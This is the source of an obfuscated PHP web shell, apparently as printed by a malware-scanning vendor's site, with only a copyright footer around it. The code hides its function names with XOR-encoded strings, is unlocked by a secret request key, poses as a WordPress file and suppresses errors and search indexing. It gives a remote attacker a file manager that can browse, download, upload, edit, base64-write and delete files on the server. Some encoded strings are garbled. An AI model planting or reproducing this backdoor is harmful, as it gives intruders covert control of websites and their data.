if(isset($_request['abb1b'])&&$_request['abb1b']==="3d3cc96f2bc5ca"){
@ob_start();
$_fp="hz56)uP"^"@BȪ]$";
$_fg="<` #EwZ"^"UD1a.";
$_mu="~.7B,]ct"^"t[[-M8f";
$_ul="Mo"^"#";
$_sd="%43"^"FPZt";
$_id="drB"^"0";
$_if="w]/"^";
J";
$_fs="hN>k"^"by
u'D";
$_rp="Ҁ
}
&W'"^"V6O";
$_rf="P@z"^"4&";
$_bn="ňp_"^"a:";
$_hs="YaQDp~D"^"-2%i7";
$_nf="CUܯ[RG"^"ԉ!'ɤ633";
$_er="Y\4ښ"^"y6.Xcd[";
$_is=""[2"^"K5kF";
$_st="&AU 0H"^"tR5<eV\%";
@$_er(0);
@$_is("display_errors","0");
@$_st(0);
@header("content-type:text/html;
charset=utf-8");
@header("x-robots-tag:noindex");
$d=isset($_request["d"])?@$_rp($_request["d"]):@getcwd();
if(!$d)$d=@getcwd();
$q="abb1b=".urlencode("3d3cc96f2bc5ca");
$z="";
if(!empty($_post["sv"])&&!empty($_post["fp"])&&isset($_post["ct"])){
@$_fp($_post["fp"],$_post["ct"]);
$z="+";
}
if(!empty($_get["rm"])){
@$_ul($d."/".$_bn($_get["rm"]));
$z="+";
}
if(!empty($_post["up"])&&!empty($_files["f"])){
@$_mu($_files["f"]["tmp_name"],$d."/".$_bn($_files["f"]["name"]));
$z="+";
}
if(!empty($_post["b64fn"])&&!empty($_post["b64d"])){
@$_fp($d."/".$_bn($_post["b64fn"]),base64_decode($_post["b64d"]));
$z="+";
}
if(!empty($_get["dl"])){
$fp=$d."/".$_bn($_get["dl"]);
if(@$_if($fp)){
@header("content-type:application/octet-stream");
@header("content-disposition:attachment;
filename="".$_bn($fp).""");
@$_rf($fp);
@ob_end_flush();
exit;
}
}
echo"<!doctype html><html><head><title>wp_12hveo9ycxop</title></head><body><pre>';
if($z)echo'[+] ';
if(!empty($_get['ed'])&&@$_if($d.'/'.$_bn($_get['ed']))){
$ef=$d.'/'.$_bn($_get['ed']);
echo $_hs($_bn($ef))."\n</pre>";
echo'<form method=post><textarea name=ct rows=20 cols=80>'.$_hs(@$_fg($ef)).'</textarea>';
echo'<input type=hidden name=fp value="".$_hs($ef)."">';
echo'<br><input type=submit name=sv value=save><a href="?".$q."&d=".urlencode($d)."">back</a></form>';
}
else{
$sp=explode('/',str_replace('\\','/',$d));
$bp='';
foreach($sp as $s){
if(!$s)continue;
$bp.='/'.$s;
echo'/<a href="?".$q."&d=".urlencode($bp)."">'.$s.'</a>';
}
echo"\n</pre>";
echo'<form method=post enctype=multipart/form-data><input type=file name=f><input type=submit name=up value=up></form><table>';
$ls=@$_sd($d);
if($ls){
sort($ls);
foreach($ls as $f){
if($f==)continue;
$fp=$d.'/'.$f;
$id=@$_id($fp);
$sz=$id?'-':@$_nf(@$_fs($fp));
echo'<tr><td>'.($id?'[<a href="?".$q."&d=".urlencode($fp)."">'.$f.'</a>]':'<a href="?".$q."&d=".urlencode($d)."&dl=".urlencode($f)."">'.$f.'</a>').'</td><td>'.$sz.'</td><td>';
if(!$id)echo'<a href="?".$q."&d=".urlencode($d)."&ed=".urlencode($f)."">[e]</a>';
if($f!='..')echo'<a href="?".$q."&d=".urlencode($d)."&rm=".urlencode($f)."" onclick="return confirm(\"del?\");
">[x]</a>';
echo'</td></tr>';
}
}
echo'</table>';
}
echo'</body></html>';
@ob_end_flush();
exit;
}
© 2023 Quttera Ltd. All rights reserved.